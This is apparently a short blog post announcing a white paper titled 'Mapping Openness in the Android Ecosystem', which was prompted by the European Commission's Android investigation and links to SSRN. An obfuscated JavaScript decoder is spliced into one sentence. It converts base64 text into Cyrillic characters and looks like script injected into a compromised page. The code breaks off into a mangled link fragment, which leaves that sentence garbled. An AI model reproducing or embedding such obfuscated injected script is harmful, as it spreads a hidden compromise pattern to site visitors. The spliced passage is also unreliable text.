White Paper: Mapping Openness in the Android Ecosystem

When the European Commission launched its investigation into Google’s Android back in April, we discussed the ins and outs with various stakeholders and were surprised to find out how little decision makers knew or understood about the Android Ecosystem. We wrote an function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandroid-not-windows">editorial when the investigation had just been announced to try and highlight some of the more hard to grasp aspects, and were approached by Google to publish a more comprehensive White Paper factually describing how the Android Ecosystem works.

We are publishing this White Paper today, under the title Mapping Openness in the Android Ecosystem. You can download the paper from SSRN at the following link:

http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2851319